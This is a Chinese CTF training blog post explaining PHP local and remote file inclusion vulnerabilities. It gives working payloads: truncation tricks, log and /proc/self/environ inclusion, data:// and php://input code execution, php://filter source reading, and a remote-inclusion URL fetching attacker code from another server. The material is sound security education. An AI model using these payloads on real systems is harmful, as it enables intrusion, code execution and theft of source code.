CTF实战12 任意文件包含漏洞

  • A+
所属分类:CTF 网络安全

这里说一下,我们的TG群链接已经由私有链接变成共有链接了


所以我们也重新做了TG的二维码(就在下面)


以前的二维码都失效了~


CTF实战12 任意文件包含漏洞



依旧先拜祖师爷~


CTF实战12 任意文件包含漏洞
CTF实战12 任意文件包含漏洞
CTF实战12 任意文件包含漏洞

重要声明


该培训中提及的技术只适用于合法CTF比赛和有合法授权的渗透测试,请勿用于其他非法用途,如用作其他非法用途与本文作者无关

CTF实战12 任意文件包含漏洞
CTF实战12 任意文件包含漏洞


我们今天来了解一下任意文件包含漏洞


CTF实战12 任意文件包含漏洞
任意文件包含漏洞



<任意文件包含漏洞>也叫<文件包含漏洞>


这个漏洞只存在于PHP网站中


是由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,然后包含文件中的代码会被解释执行


由于并没有针对代码中存在文件包含的函数入口做过滤,导致客户端可以提交恶意构造语句提交,并交由服务器端解释执行


文件包含攻击中Web服务器源码里可能存在inlcude()此类文件包含操作函数,可以通过客户端构造提交文件路径,是该漏洞攻击成功的最主要原因


CTF实战12 任意文件包含漏洞

sdfd



CTF实战12 任意文件包含漏洞
漏洞的分类


文件包含漏洞可以大概分为这么两类


1. 本地文件包含


利用的条件是,相关函数内的参数可控


2. 远程文件包含


利用的条件是相关函数内的参数可控,且allow_url_fopen = On


我们先就一个一个的来说一下利用方法


CTF实战12 任意文件包含漏洞

sdfd


CTF实战12 任意文件包含漏洞
本地文件包含利用方法


本地文件包含漏洞的常规利用方法有以下几个步骤:


  1. 发现本地文件包含;

  2. 寻找上传功能;

  3. 利用包含漏洞包含解析

CTF实战12 任意文件包含漏洞

小技巧

CTF实战12 任意文件包含漏洞


有上传的时候,可以用包含截断技巧上传


原理

include($_GET['file'] . '.php')

CTF实战12 任意文件包含漏洞
利用方法
  1. %00截断 test.jpg%00  - GPC为OFF

  2. 超长文件名截断(*nix->4096 win->256././././././test.jpg

  3. 问号  test.jpg?

CTF实战12 任意文件包含漏洞
CTF实战12 任意文件包含漏洞

sdfd



当然,我们很多时候遇到的是无上传的网站,那么无上传的时,我们也可以利用


但是要注意权限


利用方法
  1. 包含日志 (access_log error_log)

  2. 临时文件 (lfi with phpinfo)

  3. 包含其他环境变量 (/proc/self/environ)

  4. php://input

  5. data://

  6. php://filter

CTF实战12 任意文件包含漏洞


其中,php://input使用post方式传输我们要执行的php代码


data://利用条件需要


allow_url_include = On;

php>=5.2.0

CTF实战12 任意文件包含漏洞


其利用方法


file=data://text/plain;base64,PD9waHBpbmZvKCk7Lyo= 

file=data:;base64,PD9waHBpbmZvKCk7Lyo= 

file=data:text/plain,<?php system("uname -a");?>

CTF实战12 任意文件包含漏洞


最后的php://filter可以用来读取源代码


且包含漏洞只能读取<非脚本文件>,脚本文件将被立即解析


我们可以构建如下的语句


http://x.x.x.x/test.php?file=php://filter/read=covert.base64-encode/resource=some.php

CTF实战12 任意文件包含漏洞


之后就会返回some.php源码的base64加密


CTF实战12 任意文件包含漏洞

sdfd


CTF实战12 任意文件包含漏洞
远程文件包含利用方法


远程文件包含的利用比较折腾


利用方法
  1. 拥有一台远程服务器

  2. 在服务器上放置一个不可被本服务器上web中间件解析的文件(txt jpg

  3. 文件内容中包含攻击代码

  4. 利用远程包含文件漏洞包含

CTF实战12 任意文件包含漏洞



可构造如下攻击URL


http://x.x.x.x/test.php?file=http://y.y.y.y/test.jpg

CTF实战12 任意文件包含漏洞

然后在test.jpg放上我们希望服务器执行的代码就可以了


CTF实战12 任意文件包含漏洞


本文完


下期内容:逻辑漏洞


CTF实战12 任意文件包含漏洞


CTF实战12 任意文件包含漏洞


  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: